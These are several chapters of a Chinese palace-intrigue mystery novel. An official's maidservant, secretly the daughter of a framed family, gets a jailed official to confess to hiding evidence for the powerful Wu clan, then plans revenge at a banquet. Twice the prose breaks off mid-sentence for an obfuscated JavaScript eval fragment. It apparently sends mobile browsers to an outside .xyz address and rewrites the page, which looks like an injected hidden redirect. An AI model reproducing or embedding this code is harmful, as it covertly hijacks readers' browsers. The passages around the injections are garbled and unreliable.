厉思远也看了过来,敛烟早上刚刚起床还没有洗漱,一头毛茸茸的头发乱糟糟地随意扎了起来,双眼有些惺忪看向屋里的两个人。 就像是一只刚刚睡醒的小猫,毫无防备。 厉思远缓缓眨了下眼,又冲山平道:“继续说。” 山平从震惊中回过神来,忍不住将手里的佩剑调换了一下位置,这才想起来刚才在说什么: “王雨生招了,他说那个歌姬红月原本是被二皇子看上了,他也不知道当时具体的情况,但在红月死后没多久,他负责查案的时候,就被皇贵妃的人找上门。” “皇贵妃许诺他大理寺少卿的职位,让他帮忙把红月的案子按下来,据他所说,是因为二殿下在……行房事的时候没有轻重,红月才死了,他们把人运到了寺庙的枯井里面。” “王雨生为了官职,帮他们销毁了关键证据,但因为花奴纠缠不休,担心他坏了事,这才想要除掉她。” 二皇子。 厉思远没有丝毫意外,他其实早就猜到了八九分,只是没有确凿的证据,不能公然指认皇子。 他点了点头,余光扫向在一边替他收拾被褥的敛烟。 厉思远讨厌凌乱,向来早起就收拾好被褥,所以此时榻上整洁非常,敛烟试图扯平不存在的被褥褶皱,耳朵却竖的高高的,试图偷听旁边二人的说话。 她一定要找点事情做,不然等下厉思远赶她走怎么办? 听到二皇子和皇贵妃是背后的凶手,敛烟心头猛地一跳。 果然是二皇子么…… 她的想法很简单,临州一行那二皇子留给她的印象,便是个心狠手辣,可以用任何腌臜手段来达到自己目的的人。 而反观大皇子,虽然一路上沉默颇多,但长得老实宽厚,对待下人也都慢声慢语,丝毫没有皇子的架子。 所以当花奴说红月的死牵扯到皇室的时候,敛烟第一个想到的,便是二皇子。 只是没想到,亲切和蔼的王伯伯,竟然会为了一官半职做出这样歪曲真相、毁灭证据的事。 所以,自家的冤案、申太医的案子,和王伯伯有没有关系呢? 敛烟心中不禁产生怀疑。 初春寒气仍有些刺骨,厉思远伸手从身边拿起一件外袍披在身上:“来,替我更衣。” 敛烟忙不迭跑过去,殷切地替厉思远穿衣襟、系衣带。 厉思远瞥了一眼敛烟毛茸茸的脑袋,又问:“申太医的案卷呢?问了么?” 敛烟的手微微一顿,却很快恢复如常,动作却比刚才慢了一些。 说道这件事,山平也觉得很棘手:“大人,这件事我们没有证据,虽然也问了,但那王雨生却抵死不承认。” “我们去他家里和府衙上的书房都搜过了,没有发现申太医失踪案的相关案卷。” 厉思远并不觉得意外:“若是当真他篡改了申太医的案卷,这样一个陛下极其重视的案子,恐怕要株连九族,为了他可能还活着的妻儿,他不承认倒也正常。” 山平抬头看了厉思远一眼,大人今天看着似乎心情颇为不错。 若是现在找一个铜镜给厉思远看的话,他一定会惊讶于自己今日神采奕奕的目光,嘴角带着温和的笑意,即便是案件依旧有不解之处,也依旧满面春风。 这时候,一直在厉思远身侧努力换衣服的毛茸茸脑袋忽然抬了起来:“大人。” 厉思远垂眸看了敛烟一眼,晶亮晶亮的眸子望过来,嘴唇一张一合的,颇为可爱。 等等,可爱…… 厉思远一瞬间觉得气血上涌,不经意拉开了距离,就听见敛烟又说了一遍:“大人?你有在听么?” 厉思远猛然回神:“什么?” 敛烟不得不鼓起勇气重复了一遍:“大人,小人有一个办法,或许能让王雨生开口。” “若是大人信小人,就允小人与那个王雨生今夜呆在一处,小人自有办法。” 厉思远若有所思看了她一眼:“你有什么办法?” 敛烟认真看着厉思远:“我家老爷生前与王雨生颇为亲近,两个人算是生死之交,若是……若当真是他篡改的案卷,那或许敛府的旧人能够让他心生歉疚,说出真相。” 她低下头,用手扯自己的衣角:“小人并没有十足的把握,但觉得可以一试。” 厉思远眯着眼睛,盯着敛烟那垂下的脖子,漂亮白皙,很美。 他的声音不易察觉地柔软了几分:“若只是敛府的下人,我不相信王雨生会开口。” “所以……你想要让他看到敛府的,哪位旧人?” 39. 出卖 深夜,刑狱司大牢。 王雨生颓然坐在地上,看向窗外透进来的点点月光。 想到白日里山平忽然没头没脑问起那申太医失踪案,他只觉得头皮发麻,呼吸都有些急促起来。 被发现了……还是被发现了…… 他缓缓闭上双眼,额头上的皱纹因为一连几日的审问,更深了些。 当年伍家找上门的时候,他隐约就觉得申太医的失踪没有看起来那么简单,所以他其实当初是拒绝的。 毕竟伍家承诺他的官职始终没有兑现,他也不想冒险去管敛大人亲自调查的案子。 但很快,伍家就给他送来了妻儿亲手写的信。 妻子明明带儿女回了娘家,却不知为何被伍家关了起来,送信来的人也传话,说如果王雨生能够配合把申太医失踪的案卷替换出来,就保他的妻儿安全。 王雨生追悔莫及,恨自己当初不该贪恋一官半职,如今却是进退两难。 所以他还是动手了。 可伍家偏偏不肯知足,又让他给伍家每日递消息,只传递敛和安办理申太医失踪案的进度。 王雨生虽然内心百般煎熬,但还是照做了。 就在他发现敛和安似乎有了重大进展的第二日,他的老上司,他的老友敛和安,竟然坠崖身亡。 而很快敛府竟然也因为贪墨案满门被流放。 要说和这案子的进展没有关系,他是半点不会信的。 所以他其实也能猜到,自己是间接害死敛和安甚至敛府上下的凶手。 王雨生每每入睡,都会梦见敛和安满脸是血的模样,一言不发地死死盯住他,仿佛在质问他为什么要做违心事。 年轻的敛和安站在大理寺正门内的石像前说出的一番话,他至今仍然历历在目、声声在耳。 他穿着一身墨绿色的朝服,看着那挺拔的獬豸石像,眼神炯炯: “天下之事,不难于立法,而难于法之必行。 “行必行之法,惟在人。” 他站在石阶之上,逆着烈烈阳光,转过身看向石阶下的十二司司主。 “大理寺,是断天下之刑狱,解民生之不公的地方。而我们只有上不欺天,下不欺民,内不欺心,才能此生无愧。” 不欺瞒天地,不欺瞒百姓,不欺瞒自己,此生无愧…… 然而,他却食言了。 王雨生缓缓将头靠在墙上,绝望闭上双眼。 敛兄,对不住了,为了我的妻儿,申太医失踪的案子我真的不能说实话,就让我知道的事情和我一起离开这尘世吧…… 就在他内心百般煎熬之时,一阵阴风呼啸而过。 王雨生单薄的衣裳很快被吹透,他忍不住打了个寒战,睁开双眼看了看窗外。 这时,一张惨白的脸豁然出现在了窗口。 王雨生心脏猛地一跳,大叫一声,朝监牢栅栏猛扑过去。 监牢外打瞌睡的守卫不满地抬头看了他一眼:“叫什么叫?” 王雨生再次定神望过去,却发现窗口什么都没有。 是错觉么? 他朝那被吵醒的守卫赔了个笑,但终究是不敢再回到窗边,只得蜷缩在离监牢栅栏最近的角落里,战战兢兢观察着周围的风吹草动。 约莫后半夜,外面的守卫来换班,暂时离开了。 王雨生正半梦半醒打着瞌睡,就听见监牢的大门忽然被打开了。 他一个激灵坐起来,就看到眼前站着一个身穿孝服,脸色惨白的人影。 王雨生惨叫一声,连连后退,却发现周围没有一点声音,好像其他囚犯都不见了一样。 “你、你是谁!为……为何要装神弄鬼!” 到底是见过大风大浪的人,与那个大字不识一个的阿宽不同,看到敛烟扮的女鬼,王雨生第一时间反应,是有人故意装鬼吓唬他。 敛烟今夜让山平把所有人都带了出去,独独留下她和王雨生两个人。 有了厉思远的首肯,山平虽然不放心,但还是照做了。 所以敛烟放心地将真实身份暴露出来,一字一句问道:“王雨生,你为何害死我爹?” 王雨生大张着嘴,半晌后才缓缓开口:“烟儿?烟儿真的是你么?” 烟儿,是敛烟的乳名。 王雨生控制不住地眼眶一酸,竟流下了两行清泪,他哭的涕泗横流,手脚并用爬过来扯住敛烟的衣角。 “烟儿……我就知道你逃出去了……我那晚、那晚知道你们家的事情,就跑去你们家后山,想要至少救下你们一个人……” “我看到你从洞口爬出来,就知道你得救了……” “你还活着……你竟然还活着……真好啊真好……” 敛烟愣了一下,他竟然知道自己逃出来了? 回忆迅速充斥在她脑海中,她豁然想起自己当初从敛府逃跑的时候,差点被那两名官兵发现。 索性是有人吸引了官兵们的注意力,她才得以顺利逃脱。 所以…… 她抿紧嘴唇,声音颤抖:“……那晚帮我吸引官兵的人,是你?” 王雨生连连点头,他颤颤巍巍站起身,想要凑近去看敛烟,却被她躲开,他只能无措地站在原地: “是、是伯伯对不住你们家……” 此话一出,敛烟便有了猜测。 申太医的案子,定然和家里的冤案脱不开干系。 “你若是真心忏悔,就把我家里的事情一五一十全部说出来,而不是躲躲藏藏,不肯说出半个字!” “我父亲泉下有知,定然饶不了你!” 敛烟声音冷硬,强迫自己隐去哭腔。 眼前是自己看着长大的孩子,面容上依稀还有老友生前的模样,王雨生终是心头一软,深深叹了口气。 “其实……我真的不知道申太医失踪的案子,竟然会让你们家遭受这样的无妄之灾。” “那日,是伍骞北亲自登门,让我把这件案子里面的案卷调换出来,还让我暗中探查申太医失踪案的进展,每日给他们递消息。” 敛烟蓦然睁大双眼:“伍……骞北?” 又是伍家? 王雨生点点头,嗓音干涩地开口:“是,就是伍家,此前红月的案子也是伍方仪身边的丫鬟递出来的消息。” 敛烟恨恨地握紧拳头,伍骞北是伍方仪的兄长,也是严宏道的舅舅,不愧是一家人,心思竟然一样的阴狠。 “我、我实在是担心被他们关押的妻儿,便只能答应了,只是没想到……我真的没想到……” 他感受到敛烟恨意越发明显的视线,心虚地低下头: “那日照常议事,敛兄忽然说他对申太医的案子有了些猜测,但需要证实,打算第二日去事发的永昌山一探究竟,我虽不知他有什么进展,但……” “但还是把这件事告诉了伍家,然后我爹在第二日便被人暗算,坠崖死亡。” 敛烟接下了王雨生的后半句。 王雨生心虚地垂下头,身子佝偻着,一瞬间仿佛老了十几岁:“烟儿,是伯伯对不住你们家……” “说对不住有什么用?死去的人不会回来,冤屈也不会自己消失。” 敛烟只觉得气血翻涌,她强压下心头的怒火,现在质问王雨生,甚至打他解气没有任何意义,最重要的是,她需要线索。 “那调换出来的案卷呢?” 申太医失踪案的案卷是唯一线索,既然伍家这么想要让人调换,说明里面有指向伍家的关键证据,很可能也是伍家最不想被人发现的秘密。 “大部分都被销毁了。” 此话一出,敛烟泄气了大半,但接下来王雨生所说的话,却让她精神一振。 “但其中有一叠空白书信,伍骞北却极为重视,让我亲自交到他手里,我当时知道妻儿在他手里,想要用一些手段牵制他,便偷偷藏下了两封。” “那两封信,就在我府上的书房里,就在桌案下方的暗格中。” 敛烟眼睛一亮:“那两封信你看出端倪了么?” 王雨生却懊恼地摇摇头:“都是很普通的空白书信,我不管是用水泡,还是用各种花草的汁液,都没有显出字迹,就像是最正常不过的白纸一般。” “想来伍家也是有信心知道我无法解读出来,才派人来直接灭口,不给我留下任何讲条件的余地。” 就连办案多年的王雨生都如此苦恼,敛烟心中又忍不住有些失望。 但,好在她知道在哪里了,要赶在伍家之前找到! 敛烟想到这里,抽身就要离开,却被王雨生一把拉住了手腕。 敛烟眉头皱起,有些嫌恶地抽回手:“还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268742|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么事?” 王雨生知道敛烟厌恶自己,他嗫喏半晌,才缓缓开口:“烟儿……” 敛烟打断了他:“不要喊我乳名。” 王雨生抿紧嘴唇,张了张嘴:“……我知道,我对不起你们全家,但……” “你千万要小心陆景明。” 敛烟当然知道要远离陆景明,毕竟那日他还试图出卖自己。 见敛烟似乎并不惊讶,王雨生有些焦急,以为她不相信自己,又补了一句:“他很早以前,就替伍家做事了。” 敛烟一愣:“你是说他在我们家出事前……” 等等,等等。 敛烟又猛地想起了家里出事前的某一天,家里后院在夜间莫名起了一场大火。 那时候父亲已经过世,家里还挂着吊唁白布,所以火势很快蔓延开来,家仆们发现的时候,火势已经大到不可控制。 敛烟连忙护着母亲和弟弟跑到府外,让家仆去找巡逻的兵马司来救火。 但没想到刚跑出院子,就看到陆景明带着一队人马疾驰而来。 他带来的都是身强力壮的小伙子,你一桶水我一桶水,很快便把火扑灭了,只有后院的库房烧的有些严重,其他地方都没有遭受太大损失。 按照陆景明的说法,他是在家中看到敛府方向火光四起,这才带上家里的府兵,急匆匆赶了过来。 可是如今细想一下…… 敛府在城东,而陆府却在城西,短短不到半个时辰,就算是刚刚发现起火便策马奔过来,也很吃力。 更何况一开始火势并不大,别说城西了,就连邻居都很难发现。 敛烟猛然间醍醐灌顶,她此前一直没有想通那么多箱军饷是如何神不知鬼不觉运到府里的。 原来是那天夜里,陆景明带队藏在那起火的库房里的! 所以陆景明早就已经和伍家搭上了关系,甚至不惜陷害她全家! 敛烟闭上了双眼,心中怒意滔天。 陆景明,我……定要让你付出代价! 王雨生看见敛烟呼吸急促起来,身子因为愤怒而微微颤抖的模样,心生不忍,但还是迟疑着开了口: “还、还有一件事……” 敛烟摆了摆手:“什么事。” 她的声音平静异常,还能有什么比这更坏的消息呢? 王雨生有些不忍地说道:“你可能还不知道,你母亲和弟弟……” 敛烟倏然睁开了双眼,她一把扶住王雨生的双肩: “怎么了?他们怎么了?他们不是被流放了么?如今……如今应该已经到西北了?” 敛烟目光在王雨生脸上不断扫过,试图从他的表情中得到肯定的答案。 但王雨生却将眼神看向了别处,缓缓说道: “他们……他们在流放的路上遭遇了马匪,你母亲为了保护你弟弟……已经……” 敛烟大脑里仿佛炸开了一般,此时一片空白,她愣愣地看着王雨生,喃喃道:“不……不可能,你在说谎……” 王雨生摇了摇头,深深叹息:“我知道他们被流放,亲自跟过去想要照顾一二,恰好看到了马匪截杀他们……” 他心疼地看向敛烟不知所措的表情,但他必须说出来,日后怕是没有机会了。 王雨生又继续说道:“你母亲护着你弟弟允儿逃跑,但西北天寒地冻,允儿怕是也……凶多吉少啊……” “我说这些并不是想要让你难过,只是想跟你说,你们家卷入的这起事件绝对不简单,更何况你还是一个无依无靠的孤女。” “你也不要太过信任厉思远,他能以外姓的身份在朝堂多年,能够看得出是一个懂得趋利避害的人。” “所以……听伯伯一句劝,趁现在厉思远不知道你的真实身份,寻个远离京城的地方,安稳度过余生吧……” 敛烟忽然松开了王雨生的肩膀,滔天的恨意此时此刻充斥在她的胸腔中。 安稳度过余生? 父亲含冤而死,母亲被人截杀,如今弟弟也下落不明! 还让她怎么安稳!她怎可能安稳? “你、你要干什么?”见敛烟面色阴冷,抽身就要离开,王雨生心头有一种不好的预感:“你可千万别做傻事啊!” 敛烟却一句话没有跟他再说,而是大踏步离开了刑狱司。 40. 杀心 “啪!” 金銮殿内,一本奏折狠狠砸在了地上。 伍方仪和严宏道跪在原地,那本奏折正砸在他们脚边。 明帝端坐在龙椅上,不怒自威,他声音平静没有波澜,但却让周围的空气都仿佛凝固了起来:“说说吧。” 简简单单三个字,却压得人大气不敢喘。 明帝的掌事太监王德贵战战兢兢侍候在一侧,偷眼看向跪在殿下的皇贵妃和二皇子。 伍方仪捡起地上的奏折垂眼看去,是厉思远的字迹,清清楚楚写着王雨生的证词。 是红月死亡的案子,没有那件事。 还好没有那件事。 看来那个王雨生,嘴还算严,兄长手段虽然狠辣了些,但终归是有效的。 伍方仪微不可察地松了口气,随后抬起美眸,泪光莹莹地看向明帝:“陛下明察啊,我们的宏儿您是知道的,性子是顽劣了点,但贵为一国皇子,怎可能做出和青楼女子苟且的事情?” “再者,臣妾的想法您是知道的,终日只想着怎么把陛下服侍好,怎么会去贿赂王大人这样的官员?” 她越说越委屈,忍不住拿出帕子拭泪:“您不信臣妾也就罢了,您还不信我们的宏儿么?” “要知道当年,宏儿的出生有多么坎坷,您不是最爱宏儿了么?” 哭哭啼啼说完一番话后,伍方仪美眸轻眨,偷偷去看明帝的神色。 严宏道却一声不吭,也没有为自己辩解,只是垂着头看向大殿地面。 明帝冷哼一声:“你以为我不知道?严宏道出入醉月楼,都成了京城的笑柄!朕的老脸都被丢尽了!” “贵为一国皇子,一国皇贵妃,你们为何要随意要人性命?” “严宏道!你给朕说!” 明帝忽然猛地一拍案几,朝严宏道怒吼:“朕是怎么教你们治国的,嗯?!” 严宏道吓得一个激灵,喏喏开口:“回、回父皇,您常教导我们,水能载舟,亦能覆舟。” 明帝冷笑一声:“话说的头头是道,做却差上十万八千里,我看你是不想要这个皇子的位置了!” “朕能立你为皇子,也能废了你!” “陛下!” 忽然,门外传来一个浑厚的声音,紧接着就是一阵纷乱的脚步声。 从门口的屏风后先是转进来了伍骞北,他卸去了盔甲,穿着朝服,却依旧气势不减,大踏步迈了进来。 背后急急忙忙奔过来一个小太监,欲哭无泪:“哎呀将军啊!将军——咱家还没通传,您不能进啊!” 王德贵也慌了神,这皇上还没召见,伍将军怎么能直接这样冲进来? 他慌忙看了一眼明帝越来越阴沉的脸色,慌忙迈开小碎步匆匆走下来,拦在了伍骞北面前: “伍将军,陛下还没召见不能随便进啊……” 伍骞北恍若未闻,见无法越过王德贵,便干脆单膝跪地,朝明帝行了个大礼: “陛下,臣无意叨扰,只是听闻有人上奏参了二殿下和臣的妹妹,心里焦急,这才匆匆赶来,望陛下恕罪。” 一番话听着像是请罪,伍骞北表情却理所当然,像是觉得自己闯进来没有任何不妥。 明帝面上无波无澜,垂眼摩挲了一下龙椅扶手,复又抬起眼眸:“伍卿有什么要说的?” 伍骞北站了起来拱手回话:“想来陛下也清楚朝堂上因为立储而局势不明,如今却指认二殿下害人性命,臣不得不怀疑是有人在故意针对二殿下。” “就算是有人证,但也不过都是他们的一面之词罢了,此前二殿下擅自进出醉月楼的事情,他母妃也责罚过他,不能因为他进出过青楼,就认为那歌姬是他杀的。” “况且……” 伍骞北看着明帝没什么表情的脸,沉声道:“如今西北局势依旧不明,大西国余孽虎视眈眈,臣择日就会奔赴边疆,若是责罚了二殿下,那臣恐怕会心神不宁啊。” 一番话下来,王德贵已经是冷汗涔涔,他偷偷觑着明帝的脸色,用衣袖擦拭着额头流下的汗珠。 这个伍骞北不要命了? 先不说立储的事情有多敏感,最后一番话分明就是在威胁陛下啊!他现在说的每一句话几乎都可以砍头了! 伍方仪在伍骞北进来的时候已经是脸色大骇,她能不知道枕边人的心思?明帝如今看着没什么表情,但其实内心怕是已经怒意翻涌了。 她偷偷将头转过去,疯狂朝伍骞北使眼色,但伍骞北却丝毫不予理会,自顾自把话说完,抬起头看着明帝。 明帝目光在台阶下的众人中逡巡,似乎在思索什么,他的眼睛细小却透着一抹让人捉摸不透的精光,大殿中落针可闻,就连门外的风声似乎都小了许多。 就在王德贵觉得自己要被这压抑的空气憋晕过去的时候,明帝忽然朝龙椅靠去,缓缓开口:“伍卿……说的不无道理。” 王德贵骤然松了一口气。 果然,伍大将军战功赫赫,麾下的将士们一个个骁勇善战,再加上贵妃娘娘深得陛下宠爱,陛下还是对这伍家一等一的偏爱啊…… 伍骞北显然对这个结果并不意外,神色毫无波澜,而明帝则重新拾起案几上那串十八子绿宝石手串在手里把玩。 “但是这桩枯井女尸案已经被民间传为话本,人人都在等朕给一个结果,爱卿认为呢?” 伍骞北心中冷哼一声,这个厉思远平日里看着与世无争,很会拿捏分寸,却在把这件事呈给明帝的时候,先请人将案子散播了出去。 如今民间都在流传,说是一达官显贵爱上青楼女子,追求不得就害死,至于说其中个中细节,被一个个说书先生传的是惟妙惟肖,也不知道哪些是真,哪些是假。 但民间义士一个个都义愤填膺,非要等一个结果。 一个青楼歌姬罢了,死就死了,非要抓住不放,还把事情闹这么大! 好你个厉思远,不过就是个无名无份的孤儿罢了,还真当自己是皇子了?敢和我作对? 伍骞北心中怒意滔天,但面上不显。 他知道,陛下这是想找个替罪羊,但话不能从陛下自己嘴里说出来。 他拱手道:“陛下,王雨生作为大理寺官差,故意将这案子的证据毁掉,那他……难道不是凶手么?” * 四月,京城的柳树已经开始泛绿,敛烟蹲在厉思远寝房门外的大柳树下,抬头瞧着燕儿在房檐下筑巢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268743|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 距离王雨生被判秋后问斩,已经过去半月了。 王雨生为一己私利所做的一切,本就应该付出代价,所以她并不觉得他是无辜的。 然而不管是严宏道,还是伍家,连块皮都没掉。 虽然花奴表示这种结果他已经很满意了,甚至为了感谢敛烟,不知从哪里买来了一个千金难求的沉香阁香囊。 敛烟不肯收,他便趁着夜色直接丢在了她枕边。 厉思远从房门内一出来,就看到蹲在地上眉头紧锁的小人儿。 四月阳光正好,暖洋洋照在蹲在地上的小人儿身上,像一个发光的小团子。 厉思远眯了眯眼。 他早就想到了,光凭红月的案子不可能撼动伍家这棵根深叶茂的大树。 只可惜,他筹谋良久,想让案子在京城闹大一些,毕竟众口铄金,陛下虽忌惮伍家,但至少可以让伍家掉块肉。 然而却连禁足都没有。 陛下直接提审王雨生,火速定了秋后问斩,就连他也无能为力。 厉思远心中思虑着走上前去,阴影笼罩在敛烟身上,让她仰起了头。 敛烟连忙起身行礼:“大人。” 厉思远点头:“我们已经根据王雨生的描述,把被拿走的证物找到了,但是如他所说,就是两张在普通不过的空白书信。” “所以敛府的案子,我们还需要再查。” 敛烟乖巧点头:“谢大人。” 厉思远看着敛烟闷闷不乐的模样,以为她身体因为那日坠湖依旧不舒服,皱了皱眉。 今日二皇子在京城最大酒楼登云阁设宴,遍邀京城青年才俊前往。 厉思远本不想去,但奈何二皇子特意着人递来了帖子,即便知道二皇子必然要拉拢,如今也不得不赴约。 “我和邱容一起去登云阁赴宴,你不需要做什么活计,好好休息便是,若是今天有什么事情,你直接找潜麟卫来寻我就好。” 厉思远简单交代了两句,却听见敛烟忽然说道: “大人,今日宴会是京中所有世家都去么?” 厉思远没有同她特意说过,但昨日她听见邱容嘟囔了两句。 厉思远不知道她想问什么,只是点点头,只见敛烟忽然仰起头,一双大眼睛又忽地亮了起来: “小人……可以和大人一同去么?” 厉思远蹙眉:“你身体受了风寒还未好全,不能……” “小人从未见过这样的宴会。” 没等厉思远拒绝的话说完,敛烟又说道:“大人不能带我去么?” 邀请京中所有世家,就包括南陵侯府。 陆景明是嫡长子,必然会赴宴。 自从和王雨生说完话后,这几日她心底里始终被愤怒蚕食,父母双双惨死,胞弟下落不明,而助纣为虐的人却还能在外寻欢作乐。 她,要杀了他。 不管用什么方法。 敛烟掩下眼眸中的杀意,期待地望向厉思远,果真看到厉思远犹疑的神色。 半晌,厉思远点了点头:“好,那你就同去吧。” 多带上一个人,倒也无妨。 敛烟笑着朝厉思远行礼,眼底却淬上了森然的寒意。 41. 动手 夜晚,登云阁。 京城最大的酒楼,坐落在京城最长的一条江——武昌江的中央。 要出入登云阁,首先要坐上一只乌篷船,由船夫先看请帖,再放人入船,摇橹上岸。 请帖的要求也十分严格,非达官显贵不得入内,而且对职级品阶也颇多要求。 所以敛烟以前从来没有来过登云阁。 她跟着厉思远和邱容走在武昌江畔,远远就望见了水中央矗立的那栋灯火通明的阁楼。 深褐色的飞檐阁楼,檐角上挂着一串串的金色纸灯笼,随着江面刮来的微风轻轻摇晃。 阁楼很高,每层都设有雅间,也有露台,今日天气宜人,便有三三两两的客人坐在露台上品茶赏月,好不快哉。 三个人走到岸边,给船夫递了请帖,便坐着乌篷船到了登云阁下。 登云阁外已经站了几个人。 为首的,便是陆景明。 此时没有三位皇子和厉思远在,加之陆景明又和伍家四小姐说了亲,自然是大家奉承的对象。 几个人把陆景明团团围住,奉承道:“陆兄好事将近,以后可要记得提携兄弟啊!” “听闻陆兄好事将近啊,真是可喜可贺!” 陆景明颇为享受这种众星捧月的滋味,有些飘飘然: “哎呀都是兄弟,等我们大婚的时候请大家来吃酒!” 然而他话音还未落,原本簇拥在他周围的人忽然噤了声,纷纷朝江面的方向看去。 陆景明狐疑望过去,就看到厉思远带着两个下人缓步走了过来。 低调的墨蓝色便服,被月光映衬着,仿佛遗世独立的仙人般。 周围所有的官员都纷纷恭敬朝厉思远行礼:“厉兄。” 规规矩矩的,不敢造次,就像是见了皇子。 陆景明心中嗤笑,又不是真的皇子,何必对他这样毕恭毕敬? 他其实一直都不喜欢厉思远,从见他的第一面起,没有任何原因,就是单纯不喜欢。 厉思远,不过就是一个无依无靠的孤儿罢了,如果他的父母能够救了陛下,自己也能和厉思远有一样的地位。 陆景明虽然心中不喜,但毕竟厉思远的官职比他高上不知多少,他也只能依礼朝他作揖。 厉思远朝其他人点点头,却只是淡淡扫了陆景明一眼,抬步就朝登云阁里面走去。 其他人显然注意到了厉思远的区别对待,有些尴尬地看了看陆景明。 陆景明只觉得脸上烧红,心中生起一股憋屈感,紧紧握住拳头。 等着瞧吧,厉思远,你不过就是一时神气罢了,等到二殿下荣登大宝,你这命能不能保得住,都还不好说。 登云阁内,迎面便是一座高台,几个舞女在其上翩翩起舞,周边整整齐齐排列着数十排雅座,几乎已经满座。 而在高台两侧,则是向上延伸的木质楼梯。 定了雅间的客人才能有资格去高层,层数越高,则证明定雅间的客人身份越是尊贵。 严宏道定的雅间在最高层,也是登云阁最大的一间。 然而要上楼的时候,引路的小厮却拦住了敛烟和邱容。 “抱歉大人,但我们这里有规矩,下人不能上楼。” “我们特意在楼下备了吃食,给各位大人身边的仆从享用。” 敛烟脚步一顿,不甘心地看了一眼越过他们走上楼的陆景明。 厉思远点点头,示意敛烟和邱容不必跟上,随后跟着小厮一路朝登云阁最顶层走去。 邱容抻了个懒腰,他已经能够预见到今夜注定是一个不眠夜了,开始伸头打量起周围的雅座,想给自己找一个舒适点的位置。 回头就瞧见敛烟冷冷地盯着楼梯,有些困惑地拍了她一下:“哎彦儿,瞧什么呢这么出神?” 敛烟从陆景明的背影上收回视线,朝邱容笑了笑:“没什么……你先去坐,我想去解个手。” 邱容一时间有些不确定敛烟的情绪,她看着像在笑,但似乎却并不开心,总有种她会直接从登云阁跳进江里面的错觉。 正当邱容犹豫要不要跟着敛烟一起走的时候,敛烟已经转身离开了。 邱容挠了挠自己的土豆圆脑袋,皱着眉想了下。 可能是自己的错觉吧? 敛烟走出登云阁大门,绕着整个阁楼走了一圈。 唯一的出入口就是正门口的大门,从最低层向上看去,只能看到露台栅栏和一串串的灯笼。 她皱了皱眉,只能又绕回了登云阁里面。 她又仔细打量了一下一楼的布局,通往高层的两处楼梯口都有人把守,也不好溜上去。 该怎么办呢? 与此同时,登云阁顶层雅间。 陆景明进门就看到了一向姗姗来迟的严宏道今日竟然已经到了,心中暗暗称奇。 就在他还在想今天到底是什么日子的时候,严宏道忽然朝自己这边看了过来,还露出了喜出望外的神色。 陆景明一愣,紧接着就是沾沾自喜。 瞧,娶了那伍熹微还是有用的,至少在众多宾客中,二皇子还是会对他另眼相待。 这样想着,他抬步就要朝严宏道走过去,而严宏道也扔下刚还在把酒言欢的几位贵客,也朝他走了过来。 “二殿下,我……” 陆景明刚要开口寒暄,严宏道却径直忽略了他,连眼神都没有给他一个。 陆景明拱起的手僵在了原地,看着其他人幸灾乐祸的表情,忍不住朝身后看过去。 就看到严宏道一把揽住厉思远的肩,笑呵呵把他朝里面带: “哎哟哟我说厉大人,你怎么才来?我还以为你都不来了呢!” 不等厉思远说话,他自顾自地朝门外的小二招手:“哎,还看什么看?开席吧!” 厉思远看着严宏道不同以往的热情,心中冷笑,但礼数却依旧周全地行礼: “臣拜见二殿下。” 严宏道挥挥手:“哎,你我兄弟二人何需拘礼?来,坐我这边!” 两个人刚坐下,各式各样的菜肴便流水般地被人端了进来,严宏道端起桌上的清酒给厉思远倒了满满一杯: “今日开心,我们一起喝个痛快!” 厉思远拿起酒杯,看着严宏道痛痛快快灌了一大口后,才轻抿一口: “不知殿下近日有什么开心事?” 严宏道大笑着拍了拍厉思远的肩:“没有开心事,只是心情好,就不许兄弟一起喝酒了?” 厉思远扫了一眼周围的人,大皇子和三皇子都不在。 厉思远笑着点头:“殿下自然是喜欢什么时候喝,就什么时候喝。” 两杯清酒下肚,严宏道先是扯了些不痛不痒的话题,随后话锋一转: “听闻……近日京城里面盛传的一个醉月楼的歌姬被杀的案子?没想到竟然是王大人做的,真是……” 厉思远端起酒杯迎上严宏道碰过来的杯子,不咸不淡说道: “真正的凶手并非王大人,想来殿下也是知道的。” 没想到厉思远这么直接,严宏道差点没有绷住表情,他皮笑肉不笑地扯了扯唇角,夹起小菜吃了一口,强行压下去想要骂人的冲动: “害,这都是你们办案子的事情了,我就管不到这么多了……” 他眯着眼睛看向厉思远: “王雨生还真是可惜啊……毕竟也是跟着敛和安多年的老人了,也不知道这么多年,他是不是只做了这一件亏心事。” 图穷匕见,今日设宴果然是为了试探王雨生到底有没有把自己知道的全说出来。 比如说,敛府的案子。 厉思远微微一笑,主动替严宏道倒了一杯酒,抬起酒杯递过去,等到严宏道凑近了些,他才低声道: “查案是我们府衙的事情,殿下就不必担心了,除非……” 他碰了一下严宏道的酒杯,勾起唇角: “殿下做了什么亏心事。” 严宏道脸色一僵,他没想到厉思远竟然敢这样说自己。 他果然知道些什么! 严宏道内心疯狂打鼓,今日设宴是舅舅特意交代的,他说事关重大,一定要探出来厉思远是不是从王雨生那里知道了什么。 舅舅没有具体说是什么事情,只说是和一些空白书信有关。 都是空白的书信了……舅舅为什么这么紧张? 自己临行前,母妃也反复强调,甚至说她已经失眠几日了。 那书信……到底写了什么? 严宏道又试探了几次,但次次都被厉思远避重就轻地躲开来,让严宏道忍不住在心中破口大骂。 